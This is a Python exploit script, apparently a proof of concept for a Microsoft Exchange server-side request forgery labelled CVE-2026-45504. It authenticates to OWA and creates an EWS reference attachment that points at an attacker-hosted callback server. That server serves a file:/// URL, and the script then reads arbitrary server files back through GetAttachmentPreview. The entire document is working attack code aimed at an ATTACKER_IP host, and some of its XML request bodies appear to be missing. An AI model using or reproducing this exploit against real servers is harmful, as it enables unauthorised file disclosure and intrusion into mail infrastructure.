#!/usr/bin/env python3 import argparse import re import sys import threading import urllib.parse from http.server import BaseHTTPRequestHandler, HTTPServer import requests from requests_ntlm import HttpNtlmAuth requests.packages.urllib3.disable_warnings() def parse_args(): p = argparse.ArgumentParser(description="exchange ssrf via file read") p.add_argument("--attacker-ip", required=True, help="attacker ip ssrf callback") p.add_argument("--attacker-port", type=int, default=8780, help="attacker port") p.add_argument( "--creds", required=True, metavar="[DOMAIN\\]USER", help="DOMAIN\\username" ) p.add_argument("--password", required=True, help="Account password") p.add_argument("--target-file", default="C:/windows/win.ini", help="target file") p.add_argument( "--target", default="https://192.168.2.145", help="target https://192.168.2.145" ) args = p.parse_args() if "\\" in args.creds: args.domain, args.user = args.creds.split("\\", 1) else: args.domain, args.user = "", args.creds return args ARGS = parse_args() TARGET = ARGS.target ATTACKER_IP = ARGS.attacker_ip ATTACKER_PORT = ARGS.attacker_port DOMAIN = ARGS.domain USER = ARGS.user PASS = ARGS.password TARGET_FILE = ARGS.target_file PRINCIPAL = f"{DOMAIN}\\{USER}" if DOMAIN else USER NTLM = HttpNtlmAuth(PRINCIPAL, PASS) _current_path = TARGET_FILE class CallbackHandler(BaseHTTPRequestHandler): def log_message(self, *a): pass def do_GET(self): escaped = _current_path.replace(" ", "%20") body = ( '' '' f"file:///{escaped}#" "x" "3600" "" ).encode() self.send_response(200) self.send_header("Content-Type", "application/xml; charset=utf-8") self.send_header("Content-Length", str(len(body))) self.end_headers() self.wfile.write(body) def login(): s = requests.Session() s.verify = False r = s.post( f"{TARGET}/owa/auth.owa", data={ "destination": f"{TARGET}/owa/", "flags": "4", "forcedownlevel": "0", "username": PRINCIPAL, "password": PASS, "isUtf8": "1", }, allow_redirects=False, timeout=2000, ) location = r.headers.get("Location", "") if "reason=2" in location or "logon.aspx" in location.lower(): raise Exception("err: login failed") s.get(f"{TARGET}/owa/", allow_redirects=True, timeout=20) canary = next((c.value for c in s.cookies if "canary" in c.name.lower()), None) if not canary: raise Exception("err: login failed") return s, canary def attach(base_url): r = requests.post( f"{TARGET}/ews/exchange.asmx", data=b""" lfix """, headers={"Content-Type": "text/xml; charset=utf-8"}, auth=NTLM, verify=False, timeout=2000, ) m = re.search(r'Id="([A-Za-z0-9+/=]+)".*?ChangeKey="([A-Za-z0-9+/=]+)"', r.text) if not m: raise Exception("err: create item") item_id, item_ck = m.group(1), m.group(2) r2 = requests.post( f"{TARGET}/ews/exchange.asmx", data=f""" doc.docx {base_url}/doc.docx OneDrivePro {base_url}/ """.encode(), headers={"Content-Type": "text/xml; charset=utf-8"}, auth=NTLM, verify=False, timeout=2000, ) m2 = re.search(r'Id="([A-Za-z0-9+/=]+)".*?RootItemId', r2.text) if not m2: raise Exception("err: create attachment") return m2.group(1) def read_file(session, canary, att_id): enc = urllib.parse.quote(att_id, safe="") r = session.post( f"{TARGET}/owa/service.svc?action=GetAttachmentPreview&id={enc}", data="{}", headers={ "Content-Type": "application/json; charset=utf-8", "X-OWA-CANARY": canary, "Action": "GetAttachmentPreview", }, verify=False, timeout=2000, ) return r.content def main(): print(r""" _ _ _ | | | | | | | |__ __ ___ _| | _| |_ _ __ __ _ ___ ___ | '_ \ / _` \ \ /\ / / |/ / __| '__/ _` |/ __/ _ \ | | | | (_| |\ V V /| <| |_| | | (_| | (_| __/ |_| |_|\__,_| \_/\_/ |_|\_\\__|_| \__,_|\___\___| Batuhan Er @int20z CVE-2026-45504 Microsoft Exchange File Read """) srv = HTTPServer(("0.0.0.0", ATTACKER_PORT), CallbackHandler) threading.Thread(target=srv.serve_forever, daemon=True).start() print(f"[*] Target file : {TARGET_FILE}") print(f"[*] User : {PRINCIPAL}") session, canary = login() print(f"[+] OWA login OK") att_id = attach(f"http://{ATTACKER_IP}:{ATTACKER_PORT}") print(f"[+] Attachment : {att_id[:40]}...") content = read_file(session, canary, att_id) srv.shutdown() if content: print(f"[+] File read OK ({len(content)} bytes)\n") print(content.decode("utf-8", errors="replace")) else: print("[-] err: empty response") if __name__ == "__main__": try: main() except Exception as e: print(f"[-] {e}") sys.exit(1)